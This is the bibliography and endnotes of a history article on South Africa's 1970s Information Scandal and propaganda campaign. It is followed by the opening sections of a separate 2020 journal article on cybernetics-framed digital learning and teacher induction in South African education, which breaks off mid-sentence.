Department of Information, Report for the period: 1 January – 31 December 1977. Pretoria: Cape & Transvaal Printers Limited.

Official Publications

House of Assembly Debates (referred to as Hansard), 2 April – 4 June 1976, part 62, col. 5952-4.

Hansard, 21 January – 17 March 1978, part 72, col. 24.

Haasbroek, J.K. Private Collection:

Interview: Mulder, P. – Bloemfontein, 2015.10.8.

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>, s.a. (Accessed 14 January 2016).

Beeld, 1979.2.29, p 3.

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Church, J. “Access to information: The hallmark of democracy with reference to the Protection of Information Bill and the Historical Incidents”, Fundamina, 17, 2, 2011, pp. 33-45.

The Citizen, 1979.2.20, p 7; 1980.5.15, p 4.

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De Vries, C. “Die politieke implikasies van die ‘Inligtingskandaal’ tot met die uittrede van Staatspresident B.J. Vorster”, M.A. Dissertation, University of the Free State, 1983., “Lobby”, <>, s.a. (Accessed 9 May 2016).

Geldenhuys, D. The diplomacy of isolation: South African foreign policy making, (Macmillan South Africa, Johannesburg, 1984).

Giliomee, H. and B. Mbenga, Nuwe Geskiedenis van Suid-Afrika (Tafelberg, Cape Town, 2007).

Guelke, A. “Southern Africa and the Super-Powers”, International Affairs, 56, 4, Autumn 1980, pp. 648-664.

Hull, G. “South Africa’s propaganda war: A bibliographic essay”, South African Study Review, 22, 3, December 1979, pp. 79-98.

Justia US Law, “Securities and Exchange Commission v. John P. McGoff, Global Communications Corp., Sacramento Publishing Co., Appellants. 647 F.2d 185 (D.C. Cir. 1981)”, <>, 1981 (Accessed 17 May 2016).

Laurence, J.C. Race propaganda and South Africa: The manipulation of Western opinion and policies by the forces of white supremacy (Victor Gollancz, London, 1979).

Melvyn, P. and O. Westad (eds), The Cambridge History of the Cold War, Volume 1, Origins (Cambridge University Press, Cambridge, 2010).

Mervis, J. The fourth estate, A newspaper story (Jonathan Ball Publishers, Johannesburg, 1989).

News 24, “Operation Blackwash”, <>, 2013.8.25 (Accessed 22 May 2016).

Nixon, R. Selling apartheid: South Africa’s global propaganda war (Jacanda Media (PTY), Johannesburg, 2015).

Paterson, C. and V. Malila, “Beyond the Information Scandal: When South Africa bought into global news”, Ecquid Novi: African Journalism Studies, 34, 2, 2013, pp. 1-14.

Pretorius, F. (ed.), A history of South Africa: From the distant past to the present day (Pretoria Book House, Pretoria, 2014).

Rand Daily Mail, 1979.4.7, p 1; 1980.12.3, p 1.

Rees, M. and C. Day, The story of the Information Scandal (Macmillan South Africa, Johannesburg, 1980).

Rhoodie, E. The Paper Curtain (Voortrekkerpers, Johannesburg, 1969).

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Rickard, C. Thank you, Judge Mostert (Penguin Group, Johannesburg, 2010).

Rothmyer, K. “The McGoff grab”, The Columbia Journalism Review, November/December 1979, pp. 33-39.

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Sanders, J. South Africa and the international media 1972-1979: A struggle for representation (Frank Class Publishers, London, 2000).

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>, s.a. (Accessed 24 January 2016).

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Stevens, S. “‘From the viewpoint of a Southern Governor’: The Carter Administration and apartheid”, Diplomatic History 36, 5, November 2012, pp. 843-880.

Stone, P.H. “Muldergate on Madison Avenue”, The Nation, 14 April 1979, pp. 390-392.

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Swilling, M. “Living in the interregnum: Crisis, reform and socialist alternative in South Africa”, Third World Quarterly 9, 2, April 1987, pp. 408-436.

Thomson, A. U.S. foreign policy towards apartheid South Africa, 1984-1994: Conflict of interest (Palgrave Macmillan, New York, 2008).

United Nations, “The United Nations: Partner in the struggle against apartheid”, <>, s.a. (Accessed 12 January 2016).

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Die Vaderland, 1977.10.11, p 11.

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Wilson, M. and L. Thomson (eds), The Oxford History of South Africa, Volume 2, South Africa 1870-1966 (Oxford University Press, Cape Town, 1971).

Windrich, E. “South Africa’s propaganda war”, South Africa Today, 36, 1, 1st Quarter 1989, pp. 51-60.

The World, 1977.9.5, p 4.


[*]   Mr Josh Haasbroek has an M.A. degree in History at the University of the Free State. His study focuses comprehensively on the history of the Information Scandal. Currently, he is residing and working in South Korea. Dr Jan-Ad Stemmet is a senior lecturer in the History Department at the University of the Free State. His research interests include aspects of South Africa’s turbulent politics, specifically of the 1980s. Dr Marietjie Oelofse is a senior lecturer in the History Department at the University of the Free State. Her research interests include oral history, as well as transitional justice, with a focus on truth commissions.

[2]   H. Giliomee and B. Mbenga, Nuwe Geskiedenis van Suid-Afrika (Tafelberg, Cape Town, 2007), pp 312-313; A. Thomson, U.S. foreign policy towards apartheid South Africa, 1984-1994: Conflict of interest (Palgrave Macmillan, New York, 2008), pp 5, 12-15; A. Guelke, “Southern Africa and the Super-Powers”, International Affairs, 56, 4, Autumn 1980, p 659.

[3]   Thomson, U.S. foreign policy towards apartheid South Africa, pp 6-23; P. Melvyn and O. Westad (eds), The Cambridge History of the Cold War, Volume 1 (Cambridge University Press, Cambridge, 2010), pp 478-479; Guelke, “Southern Africa and the Super-Powers”, p 650; Giliomee and Mbenga, Nuwe Geskiedenis van Suid-Afrika, pp 312-313.

[4]   The Department of Information, previously known as State Information, originated from a supplementary subdivision in the Department of Foreign Affairs. L. de Villiers, Secret Information (Tafelberg, Cape Town, 1980), pp 17-18; D. Geldenhuys, The diplomacy of isolation: South African foreign policy making (Macmillan South Africa, Johannesburg, 1984), p 107.

[5]   E. Rhoodie, The real Information Scandal (Orbis SA, Pretoria, 1983), pp 40-41; R. Nixon, Selling apartheid: South Africa’s global propaganda war (Jacanda Media (PTY), Johannesburg, 2015), pp 57-59, 61; M. Rees and C. Day, The story of the Information Scandal (Macmillan South Africa, Johannesburg, 1980), p 29; De Villiers, Secret Information, pp 38, 45; J. Haasbroek Private Collection, Interview with P. Mulder, Bloemfontein, 2015.10.8.

[6]   Thomson, U.S. foreign policy towards apartheid South Africa, pp 24-27; M. Wilson and L. Thomson (eds), The Oxford History of South Africa, Volume 2 (Oxford University Press, Cape Town, 1971), pp 512-513.

[7]   Thomson, U.S. foreign policy towards apartheid South Africa, pp 28-29, 35-38; Wilson and Thomson (eds), The Oxford History of South Africa, pp 512-515; United Nations, “The United Nations: Partner in the struggle against apartheid”, <>, s.a. (Accessed 12 January 2016); C. Barnes, “International isolation and pressure for change in South Africa”, <>, s.a. (Accessed 14 January 2016).

[8]   F. Pretorius (ed.), A history of South Africa: From the distant past to the present day (Pretoria Book House, Pretoria, 2014), p 386; South African History Online, “The British Anti-Apartheid Movement”, <>, s.a. (Accessed 24 January 2016); South African History Online, “South Africa’s foreign relationships during apartheid, 1948”, <>, s.a. (Accessed 21 January 2016); Barnes, “International isolation and pressure for change in South Africa”, <>, s.a. (Accessed 14 January 2016).

[9]   Nixon, Selling apartheid, pp 53-55; Thomson, U.S. foreign policy towards apartheid South Africa, pp 63-64; J. Church, “Access to information: The hallmark of democracy with reference to the Protection of Information Bill and the Historical Incidents”, Fundamina, 17, 2, 2011, pp 38-39.

[10]   Nixon, Selling apartheid, pp 58-60; Thomson, U.S. foreign policy towards apartheid South Africa, pp 65-66; J. Sanders, South Africa and the international media 1972-1979: A struggle for representation (Frank Class Publishers, London, 2000), pp 87-89.

[11]   Rhoodie, The real Information Scandal, pp 42-43, 52, 58; E. Rhoodie, The Paper Curtain (Voortrekkerpers, Johannesburg, 1969), pp 186, 188-190; Sanders, South Africa and the international media 1972-1979, p 55; De Villiers, Secret Information, p 36; The Cape Times, 1979.1.30, p 8.

[12]   Rees and Day, The story of the Information Scandal, pp 163-164, 171-172; Haasbroek Private Collection, Interview with P. Mulder, Bloemfontein, 2015.10.8; Rhoodie, The real Information Scandal, pp 58-59, 98.

[13]   Rhoodie, The real Information Scandal, pp 98-99; Rhoodie, The Paper Curtain, p 191; J.C. Laurence, Race propaganda and South Africa: The manipulation of Western opinion and policies by the forces of White supremacy (Victor Gollancz, London, 1979), pp 60-64.

[14]   Nixon, Selling apartheid, p. 6; Haasbroek Private Collection, Interview with P. Mulder, Bloemfontein, 2015.10.8.

[15]   Nixon, Selling apartheid, p 70; G. Hull, “South Africa’s propaganda war: A bibliographic essay”, South African Study Review, 22, 3, December 1979, p 80; Rees and Day, The story of the Information Scandal, p 187; Sanders, South Africa and the international media 1972-1979, p 55.

[16]   The United States Department of Justice, “Report of the Attorney General to the Congress of the United States on the Administration of the Foreign Agents Registration Act. 1975”, <>, 1975.7, p. 291 (Accessed 24 March 2016).

[17]   The United States Department of Justice, “Report of the Attorney General to the Congress of the United States on the Administration of the Foreign Agents Registration Act. 1975”, <>, 1975.7, p. 291 (Accessed 24 March 2016).

[18]   J. Burgess, et al., The great white hoax: South Africa’s international propaganda machine (Africa Bureau, London, 1977), pp 65, 78; Nixon, Selling apartheid, p 72.

[19]   De Villiers, Secret Information, pp 63-70; Nixon, Selling apartheid, p 72; Thomson, U.S. foreign policy towards apartheid South Africa, pp 63-64.

[20]   Hull, “South Africa’s propaganda war: A bibliographic essay”, p 89; Burgess, The great white hoax, p 79; Geldenhuys, The diplomacy of isolation, p 112.

[21]   Inherent to the Information Scandal was that its financial accounts vary between contradictory and hazy estimates. Nobody knows exactly how much was spent and on what – or how much was siphoned by corrupt officials. Thus, the article, as such, cannot claim to supply emphatically exact numbers.

[22]   Rees and Day, The story of the Information Scandal, pp 169-170; De Villiers, Secret Information, pp 73-74; Rhoodie, The real Information Scandal, pp 82-83; Archive for Contemporary Affairs (hereafter ARCA), University of the Free State: P 58 –Basson Collection: Die Transvaler/Oggendblad, 1979.6.5: “The Erasmus Commission of Inquiry, Intermediate and Supplementary Report into alleged irregularities in the former Department of Information” [Newspaper] (Hereafter Die Transvaler/Oggendblad, 1979.6.5), p 6.

[23]   K. Rothmyer, “The South Africa lobby”, The Nation, April 1980, pp 455-456; K. Rothmyer, “The McGoff grab”, The Columbia Journalism Review, November/December 1979, pp 33-34; Rand Daily Mail, 1980.12.3, p 1.

[24]   C. Paterson and V. Malila, “Beyond the Information Scandal: When South Africa bought into global news”, Ecquid Novi: African Journalism Studies, 34, 2, 2013, pp 4-5; The Citizen, 1980.5.15, p 4; ARCA: P 58 – Basson Collection: Die Transvaler/Oggendblad, 1979.6.5, pp 23-24; Rothmyer, “The South African lobby”, pp 455-456.

[25]   Rothmyer, “The South African lobby”, pp 455-456; Rothmeyer, “The McGoff grab”, p 35; Justia US Law, “Securities and Exchange Commission v. John P. McGoff, Global Communications Corp., Sacramento Publishing Co., Appellants. 647 F.2d 185 (D.C. Cir. 1981)”, <>, 1981 (Accessed 17 May 2016); Paterson and Malila, “Beyond the Information Scandal”, pp 4-5.

[26]   The Erasmus Commission was established to investigate alleged irregularities in the Department of Information that were exposed by inquiries and the press, to evaluate findings, and to provide recommendations. ARCA: P 58 – Basson Collection: Die Transvaler/Oggendblad, 1979.6.5, p 2.

[27]   E. Windrich, “South Africa’s propaganda war”, South Africa Today, 36, 1, 1st Quarter 1989, p 54; ARCA: P 58 – Basson Collection: Die Transvaler/Oggendblad, 1979.6.5, pp 23-24; Sanders, South Africa and the international media 1972-1979, p 60; Rothmyer, “The South African lobby”, p 456.

[28]   ARCA: P 58 – Basson Collection: Die Transvaler/Oggendblad, 1979.6.5, p 24; Paterson and Malila, “Beyond the Information Scandal”, pp 5-6; Rand Daily Mail, 1979.4.7, p 1; Sanders, South Africa and the international media 1972-1979, p 67; Rothmyer, “The McGoff grab”, pp 36-37; Burgess, The great white hoax, pp 67-68.

[29]   Paterson and Malila, “Beyond the Information Scandal”, pp 10-12.

[30]   Special Collections and Archives University of Cape Town Libraries (Hereafter SCAUCP): Department of Information, Annual Report for 1974, pp 38-39, 42; Burgess, The great white hoax, pp 65-68.

[31]   SCAUCP: Department of Information, Annual Report for 1974, p 39; SCAUCP: Department of Information, Annual Report for 1976, p 17; Burgess, The great white hoax, p. 66; Nixon, Selling apartheid, p 78.

[32]   Nixon, Selling apartheid, pp 78-79; SCAUCP: Department of Information, Annual Report for 1974, p 39.

[33]   SCAUCP: Department of Information, Annual Report for 1974, pp 39, 42-43; SCAUCP: Department of Information, Annual Report for 1975, p 13; Burgess, The great white hoax, p 66.

[34]   The United States Department of Justice, “Report of the Attorney General to the Congress of the United States on the Administration of the Foreign Agents Registration Act. 1975”, <>, 1975.7, p 292 (Accessed 24 March 2016); C. de Vries, “Die politieke implikasies van die ‘Inligtingskandaal’ tot met die uittrede van Staatspresident B.J. Vorster”, M.A. Dissertation, University of the Free State, 1983, p 26; Burgess, The great white hoax, p 81; The World, 1977.9.5, p 4.

[35]   Laurence, Race propaganda and South Africa, p 65.

[36] defines ‘lobbying’ as “a group of members who work to conduct a campaign to influence members of a legislature to vote according to the group’s special interest.”, “Lobby”, <>, s.a. (Accessed 9 May 2016).

[37]   Hull, “South Africa’s propaganda war: A bibliographic essay”, p 80.

[38]   Burgess, The great white hoax, p 77; Laurence, Race propaganda and South Africa, pp 68-68; Hull, “South Africa’s propaganda war: A bibliographic essay”, p 80.

[39]   Hull, “South Africa’s propaganda war: A bibliographic essay”, pp 89-90; Beeld, 1979.2.29, p 3; Rees and Day, The story of the Information Scandal, p 200; Windrich, “South Africa’s propaganda war”, p 52.

[40]   P.H. Stone, “Muldergate on Madison Avenue”, The Nation, 14 April 1979, p 390; The Star, 1977.12.8, p 31.

[41]   Stone, “Muldergate on Madison Avenue”, p 390; The Star, 1977.12.8, p 31.

[42]   The Daily News, 1977.12.9, p 22.

[43]   Die Volksblad, 1977.12.9, p 3; The Daily News, 1977.12.8, p 3; Stone, “Muldergate on Madison Avenue”, p 390.

[44]   Nixon, Selling apartheid, pp 84-89; Hull, “South Africa’s propaganda war: A bibliographic essay”, p 92; African Activist Archive, “A fine face for apartheid”, <>, 1978 (Accessed 20 May 2016).

[45]   Hull, “South Africa’s propaganda war: A bibliographic essay”, p 93; Stone, “Muldergate on Madison Avenue”, p 391; Rothmeyer, “The South African lobby”, p 356.

[46]   Rees and Day, The story of the Information Scandal, pp 200-201; Nixon, Selling apartheid, pp 97-99; De Vries, “Die politieke implikasies van die ‘Inligtingskandaal’”, p 41; Stone, “Muldergate on Madison Avenue”, p 391; S. Stevens, “‘From the viewpoint of a Southern Governor’: The Carter Administration and apartheid”, Diplomatic History 36, 5, November 2012, pp 878-879.

[47]   ARCA: House of Assembly Debates (Hereafter Hansard), 2 April – 4 June 1976, part 62, col 5952-4; Nixon, Selling apartheid, pp 81-83; Sanders, South Africa and the international media 1972-1979, pp 164-165; News 24, “Operation Blackwash”, <>, 2013.8.25 (Accessed 22 May 2016); M. Swilling, “Living in the interregnum: Crisis, reform and socialist alternative in South Africa”, Third World Quarterly 9, 2, April 1987, pp 411-412.

[48]   Nixon, Selling apartheid, p 91; Sanders, South Africa and the international media 1972-1979, p 63; Die Vaderland, 1977.10.11, p 11; The Cape Times, 1978.10.23, p 8.

[49]   SCAUCP: Department of Information, Annual Report for 1977, p 3.

[50]   De Vries, “Die politieke implikasies van die ‘Inligtingskandaal’”, pp 62-63, 70-71; C. Rickard, Thank you, Judge Mostert (Penguin Group, Johannesburg, 2010), pp 97, 99; Sunday Express, 1978.2.19, p 1; J. Mervis, The Fourth Estate, A newspaper story (Jonathan Ball Publishers, Johannesburg, 1989), p 441; Geldenhuys, The diplomacy of isolation, p. 120; ARCA: Hansard, 21 January – 17 March 1978, part 72, col 24.

[51]   Laurence, Race propaganda and South Africa, pp 56-57.

[52]   Sanders, South Africa and the international media 1972-1979, p 61.

[53]   Geldenhuys, The diplomacy of isolation, p 119.

[54]   Nixon, Selling apartheid, p 81.

[55]   Sanders, South Africa and the international media 1972-1979, p 61.

[56]   Rees and Day, The story of the Information Scandal, p 186.

[57]   Windrich, “South Africa’s propaganda war”, p 59; Sanders, South Africa and the international media 1972-1979, pp 61-70; Rees and Day, The story of the Information Scandal, p 187.

Exploring circular systems-based education in South Africa: A collaborative approach to digital learning

Author: Dr Eben Haeser Swanepoel
Orcid Id: 0000-0003-3205-5244
Postdoctoral Researcher, North-West University, Economic and Management Sciences, GIFT.
PhD: Psychology of Education (UFS), M.Ed Psychology of Education (UFS), Hons Psychology (UNISA), B.Ed FET (UFS)

Ensovoort, volume 41 (2020), number 6: 1


South African education systems are at an exciting juncture. They are shaping the way into the Fourth Industrial Revolution and globalized access to learning. Online learning has gained traction internationally and been shown to be effective in curbing overcrowded classrooms at both schools and institutions of higher learning. Online solutions promote open-access learning at cost-effective rates also. South Africa is hindered, however, through unequal access to resources and inequality when it comes to the implementation of online learning as a uniform platform across locations. This article explores a circular model of sensitizing educators, by means of teacher induction, to the use of digital content through collaborative practice, whilst building a systemic autonomous platform of content which is contextual, reliable, and formally assessed before it is used in classrooms. Drawing on cybernetic theory, the article is framed by how systems open and close boundaries to information and how systemic structure is either maintained or lost during the process of adapting to incoming feedback from other systems. With the pressure to adapt to international ideals and globalization, it becomes increasingly important to explore how South African education systems steer information from teacher induction to the ultimate application at grassroots classroom level. Digitized learning, as proposed through this article, holds value when incorporated through collaborative practice where information boundaries from external systems are opened and closed for the purpose of maintaining the ideals of internationally bench-marked knowledge, while at the same time upholding a unified democratic front to the South African context.

Keywords: Cybernetics; Technology Education; Educational Systems; Teacher Induction; Circularity

1. Introduction   

The Fourth Industrial Revolution (4IR) has brought on disruptive technological advances which can potentially replace outdated and traditional ways of doing. Artificial Intelligence, Robotics and the Internet of Things (IoT), all characteristic of the Fourth Industrial Revolution’s innovations for transformative practice, introduce technological innovation which can potentially change the way we teach and prepare learners and students for the world of work (Xing & Marwala, 2017; Kayembe & Nel, 2019). The rapid trajectory of the Fourth Industrial Revolution’s globalization movement compels us to reflect on existing ways of doing and align the South African education system with international benchmarks and global trajectories in the area of vocational access. At the same time, there is a growing need to explore how, within the globalization movement, the South African educational system can retain a democratically unified system whilst simultaneously accounting for cultural diversity and the unequal access to information systems at sub-systemic levels due to past inequalities that hinder access and resource distribution (Meier & Hartell, 2009).

The relevance of 4IR to South Africa, as a Sub-Saharan country, has however been scrutinized. The country’s infrastructure deficits and unequal skill distribution are key challenges to aligning skillsets with the benchmarks of advanced economies (Ayentimi & Burgess, 2019), and public discourse centres on the need for better access and globally bench-marked educational reform. Historically, the Fees Must Fall movement is an example of societal feedback highlighting the dialogue of high-quality access to higher education platforms at lower costs (Pillay & Swanepoel, 2018). More recently, the global Covid-19 pandemic and the national lock-down have highlighted the importance of continuous instruction across all education platforms. Digitized learning platforms have become a go-to for instruction (Odendaal, 2020).

Especially post-apartheid, educational reform in South Africa has seen a paradigmatic emphasis on ways of doing, focussing especially on policy and curriculum reform to align with systemic injustices caused by past unequal access to education and resource distribution (Gumede & Biyase, 2016; Subreenduth, 2009). Social segregation and class privilege, however, still pose challenges when it comes to equal access to quality education. The desired change for socially just education reform has been slow to manifest at a practical level. An inter-generational cycle of unequal privilege and poverty now sees learners from sociohistorically hindered schools unable to accumulate the skills, especially in mathematics, to assimilate functional alignment with high-quality education access and lifelong learning opportunities (Spaull, 2015). There has been stringent progress in technologically enhanced learning methods in South African schools, and teacher training programs now need to be examined as a key component in aligning South Africa with the global trends that form part of the Fourth Industrial Revolution (Padayachee, 2017). Older teachers often evade technological disruption in the classroom, while younger teachers show greater confidence in the use of modern digitized learning methods (Msila, 2015). This reflects segregated learning experiences across spaces and places of learning, and articulates the cycle of unequal learning that permeates traditional classroom practices. It can be argued that how a learner in a specific school will be taught is then left to the luck of the draw and would depend on the particular level of classroom autonomy they are subjected to for a given learning experience.

The Fourth Industrial Revolution is characterised by innovative interdisciplinary teaching methods, with many South African teachers feeling uncomfortable teaching outside of their own discipline-knowledge systems. They may be slow when it comes to adopting enhanced methodological approaches towards cross-disciplinary collaboration (Chaka, 2019). It becomes increasingly difficult for teachers to use information in a funnelled manner, especially with the rapid digitization of information at a global scale and the need to facilitate both the subject knowledge as well as the technological skill-sets associated with finding and evaluating information in the classroom (Kultawanicha, Koraneekija & Na-Songkhlaa, 2015). The dissemination of information becomes an increasingly important skill-set. The wealth of information during the digitized age calls for greater scrutiny not only in terms of relevance, but also the applicability thereof, outside the classroom and within learners’ communities. A quality educational system should therefore be founded on skilled educators who implement and drive technological systems to optimize learning (Moodley, 2019) within relevant and applicable boundaries, for the purpose of mediating knowledge and information during the learning experience in a meaningful and contextual way.

Online learning, the Internet of Things, and the use of Artificial Intelligence for personalised learning are redefining the role of educational systems (Ally, 2019; Picciano, 2019; Pillay, Maharaj & van Eeden, 2018). Given how the use of smartphones, tablets and computers are becoming increasingly common among learners and students and the manner in which these technologies disrupt traditional pedagogical methods in classrooms on an ongoing basis (Laurillard & Kennedy, 2017; Zhamanov & Sakhiyeva, 2015), exploring a system of incorporating technology in a meaningful and collaborative way during classroom practice becomes increasingly viable. The shift towards digitized learning environments, in particular, but also the Fourth Industrial Revolution’s globalization trajectory would necessitate such an investigation. The systemic integrity of South African education, the inclusive nature of which extends across the space and place of all communities and stakeholders (be it national or international) should at the same time be retained. While there are a growing number of virtual and blended schools globally, further research is needed to determine the long-term viability thereof in terms of successful student retention and performance (Miron, Shank & Davidson, 2018). A lack of infrastructure, the skill-sets of teachers and overall expertise in optimally utilizing technology in the teaching-learning environment pose further limitations to modernizing digitized classroom practices in South Africa (Jantjies & Joy, 2016).

Specifically grounded on collaborative practice among various stakeholders toward global vocational access and quality education, this article aims to explore a circular model of teaching-learning which can potentially mediate geographical and spatial limitations to learning and sustain a continued and reliable method of delivery which brings transparent, reliable and valid information to learners and students. The circular method of delivery furthermore addresses the need to uphold a unified international standard of knowledge and information for the digitized age, while simultaneously retaining South African benchmarks and ideals as a means to retain systemic structure within the global front of information sharing and innovation as we move toward the Fourth Industrial Revolution.

2. First-order cybernetics: A systemic approach to information and education

Cybernetics derives from the Greek Kybernetes, which also translates to steersman (Heylighen & Joslyn, 2001). Aimed at investigating similarities amongst autonomous systems, cybernetics provides a lens for exploring how systems are structured and steered (at first-order level), and why they behave as they do (through a Second Order perspective). While the term cybernetics is often associated with the functioning of machine systems and robotics, it can also be used to observe and explore social systems and discourse (Umpleby, Medvedeva, Lepskiy, 2019). The theoretical lens through which this article is articulated is based on first-order cybernetics. Aligned with systems theories, cybernetics allows for the investigation and exploration of how systems are governed and maintained through patterns and rules that form boundaries to information. Especially useful in framing goal-related functioning of systems, the use of first-order cybernetics allows the researcher to investigate how a system functions through investigating the feedback processes of information which are allowed or rejected at specific intervals within the system to either initiate change or retain structure (Becvar & Becvar, 2012). As systems are governed by rules and patterns which form boundaries for attaining systemic structure, opening boundaries to allow information in, or in turn closing boundaries to reject information, helps provide a better understanding of how systems function in achieving a desired state or goal.

Accordingly, the use of first-order cybernetics provides a valuable framework for investigating the implementation of e-learning in classrooms across educational platforms. Simultaneously, it becomes possible to investigate how different systems within the wider South African system are shaped or restricted through open and closed boundaries, while at the same time investigating a model that allows for cohesive information flow to enter the South African system and school subsystems as self-sustaining entities without losing overall systemic integrity and entering a state of dysfunction (entropy).

3. Unifying the space and place of learning

The innovative use of digital learning aligns with the United Nation’s Sustainable Development Goal 4 and aims toward a 21st century paradigm of Education for All. This will deem the use of digitized learning as central to infrastructure limitations and extending learning to learners who reside in remote areas (Ally, 2019). Accordingly, the World Economic Forum’s Internet for All initiative looks at the deployment of training aimed at bridging the online access gap. South Africa is one of the countries that is aligned with the global Fourth Industrial Revolution initiative. By identifying challenging spaces of connectivity, especially in rural areas, the initiative is centred on “extending ICT infrastructure to underserved areas, lowering the costs of being online and cheaper gadgets, digitising local content and providing ICT and digital skills” (Matshediso, 2017). The unification of place and space, specifically to optimize learning, is twofold and encompasses the physical dimension as well as the unseen dimension (time and context). Encountering boundaries to learning in traditional classroom practice is commonplace, and online learning systems provide the opportunity to connect to other systems of learning and draw from external knowledge bases. Chilton (2019) expresses the value of connecting to prerecorded case study material or learners who are not able to access the main place of learning.

While the before-mentioned holds potential for bringing connectivity to areas otherwise hindered from achieving optimal access to online resources, there is a need to look at available tools for bridging the divide and achieving successful implementation. Jantjies and Joy (2016) draw on the lack of access to proper resources such as computers in schools, while maintaining that mobile phones have been effective in enhancing learning and teaching globally, especially in developing countries. The researchers go on to point out that multiple languages hinder the implementation of technological methods for blended learning in South Africa. While Western discourse is seen as a colonising tool deflecting from African knowledge systems (Pillay & Swanepoel, 2018), it becomes increasingly important to steer South African education in innovative ways and incorporating global innovations in a meaningful way whilst retaining the systemic integrity of the South African education system as whole. While also accounting for the resource constraints that underlie many spaces of learning, the multilingual citizenship characteristic of the South African context can, instead of closing the door to global adaption, become a strong motivator for conceptualizing an indigenously relevant system.

4. Establishing boundaries to open information: Toward ethical patterns of learning

The growing nature of the digitized learning and online access platforms for information is transcending closed boundaries to learning, and the digitized age is seeing a rapid increase in information availability (Ally, 2019). Gous (2019) postulates that the aim of education is to teach knowledge and information that is on par with the latest developments. Gous (2019) evaluates the applicability of information and knowledge through contextualized teaching. What is relevant and current will depend on the needs of the people that the information is intended to serve. Lambert and Gong (2010) emphasise that knowledge is power. Should information systems not be effectively employed, we risk a further divide and marginalization which would perpetuate past cycles. One example of this would be how literacy education has, through past policy and practice, enhanced white supremacy. Education did this through information control amongst groups which caused inequality in participation and vocational access, as well as further education and training (Reygan & Steyn, 2017).

South African education is based on rules and patterns of constitutional ideals enshrined in the South African Constitution (1996) that translate into idealized practice through the Curriculum and Assessment Policy Statements (Department of Basic Education, 2011). These rules encapsulate the boundaries of equitable information and provide for restorative action concerning historic inequalities, the promotion of messages and knowledge based on inclusivity, and further promoting transformation towards the overall system of South African citizenship. Closed micro exploration has, however, revealed that closed system instruction has retained dysfunction and teachings have not been aligned with the overall systemic boundaries of social justice and equal participation (Davids, 2104; Rooth, 2005). While closed systemic loops have widened the gap between theoretic ideals and practice, opening educational boundaries to information can potentially lead to entropy.

Platonova and Gous (2019) draw on open education as a meaningful tool for producing free-thinking and multiculturally articulate learners. However, the researchers refer to open systems such as online education as a tool for perpetuating ideology and advance knowledge and information which is construed by power. Drawing on Gee (2011), the researchers feel that learning is central to changing patterns of behaviour and the creation of socially situated identities. Through symbolic discourse and cultural control, uncritical mass learning can decontextualize learning and skew it to the ideas and values of systems which are not relevant or on par with the learner’s specific context, which is where behaviour manifests. This is especially important to note when it comes to the creation of democratically accessible information systems during the digitized age where boundaries to information have been opened to global citizenship. Anefuku (2017) notes that opening boundaries to information for globalized knowledge is futile without critically examining the systems which underlie the knowledge base itself.

South African education systems are perpetually criticized for being dysfunctional at the practical level of conveying core curriculum content. Educators lack subject knowledge and in some cases teach subjects that fall out of their scope of training (Moloi, 2019). According to Lee and Brett (2015), a firm understanding of subject knowledge and comprehension of aligned pedagogies is fundamental to successfully utilizing technology during classroom instruction. A deficit in subject expertise is in turn a closed boundary for adapting to modern digitized learning methods which is relevant and contextual to learner needs. Research has also revealed closed boundaries of information sharing during sensitive topics, especially topics that are related to Social-Justice education. During certain classroom teachings, teachers perpetuate incongruent messages to learners, or leave out core content completely due to personal beliefs (Reygan & Francis, 2015). In such instances, opening boundaries to digital material holds value, and the teacher’s role as facilitator then becomes key in facilitating activities amongst learners. The use of technology for such learning experiences is however closely monitored and cannot be implemented on a large scale (such as via MOOC) due to the cultural plurality of learners needing to be understood within boundaries that are specific to the South African context. The uncritical use of material in digital format on the part of the teacher can either sustain the lesson within closed boundaries of digital use or lead to further entropy when employed without careful consideration.

Clarà and Barberà (2013) warn against the problematic pedagogies which underlie many forms of MOOCs, deriving from behaviouristic foundations to learning that situate knowledge as observable and objectively attainable. Further uncritical pedagogies can potentially lead learning toward representations of the object of learning, which obscures knowledge not as constructed patterns through various perspectives, but a thing that is not dynamic and adaptable. The use of MOOCs, without critically reflecting on which knowledge boundaries are opened, leads to further entropy within the learning process. Wise, Cui, Jin and Vytasek (2017) comment on interactional patterns during online discussions used in digital learning communities. With the wide array of participants engaging in the online discussion, it becomes difficult and chaotic to successfully disseminate relevant information that is aligned with the purpose of the learning activity. Porter et al (2016) further draw on harassment and bullying as cornerstone malpractices that hinder the adoption of online learning platforms. The further spread and “trolling” of pornographic material is also prevalent on online platforms. Online learning, in turn, needs to be aligned with instructors who comprehend not only the context of their digital platforms and users, but also grasp ethical boundaries in creating a functional system that is shielded from learning hindrances through the use of intervention, guidance and active participation.

 5. Traditional hierarchical versus modern digitized educational instruction

Traditional education systems are characterized by pedagogies that emphasise knowledge as external, thus situating the role of a teacher as the knower who leads learners to a set reality of “knowing”. Subsequent paradigm shifts have seen the role of the teacher change to that of a facilitator whose primary role is to create a learning environment in which learners co-construct knowledge. Recently, the shift toward modern digitized pedagogies is seen through the implementation of web 2.0 and the technological move toward learning platforms where learners connect to online instructors and potentially a wide array of knowledge sources (Clarà and Barberà, 2013). It has been noted that while the uncritical pedagogical approaches utilized through MOOCs can lean toward traditional behaviourist methods of instruction, the potential opportunities created for collaborative modern pedagogies is of value when used within a multi-perspective and collaborative environment. Fourth Industrial Revolution learning environments are conducive to collaborative learning. The teacher brings innovative technological methods to the classroom to facilitate collaboration, innovation, and creativity (Adefila & Pillay, 2019; Maksimović & Dimić, 2016). The modern role of the educator is subsequently multi-dimensional and transcends subject knowledge, redefining the educator as a change agent skilfully navigating social tenancies. The role is characterised by reflective practise and ongoing learning and research to maintain relevance in the face of societal changes in dynamic and innovative ways (Maksimović & Dimić, 2016).

Online education in various forms, including asynchronous and synchronous learning methods, have become popular platforms for instruction delivery, with designed lessons incorporating blended learning methods and artificial intelligence software for delivering personalized learning experiences (Ally, 2019; Picciano, 2019). Ally (2019) and Damoensa (2003) refer to the importance of teaching for the future, and align the modern role of the educator with the need to dynamically prepare learners for vocational access to jobs that are not yet in existence. The need for face-to-face learning as traditional learning methods have been re-aligned with virtual teachings where learners take control of their own learning experiences and select learning content (Akpan, Etim & Ogechi, 2016). Flipped classrooms have also broken away from traditional linear models of instruction, leading the learner to actively co-construct knowledge (Hwang, Lai & Wang, 2015). Gross, Pietri, Anderson, Moyano-Camihort and Graham (2015) draw on blended learning as it is beneficial for pre-class preparation and providing more opportunities for in-class activities as well as active learning experiences. Specifically grounded through research based on STEM education (science, technology, engineering, and mathematics), the researchers point to beneficial outcomes when learning is balanced between on-line and in-class contact-based activities. Flipped and 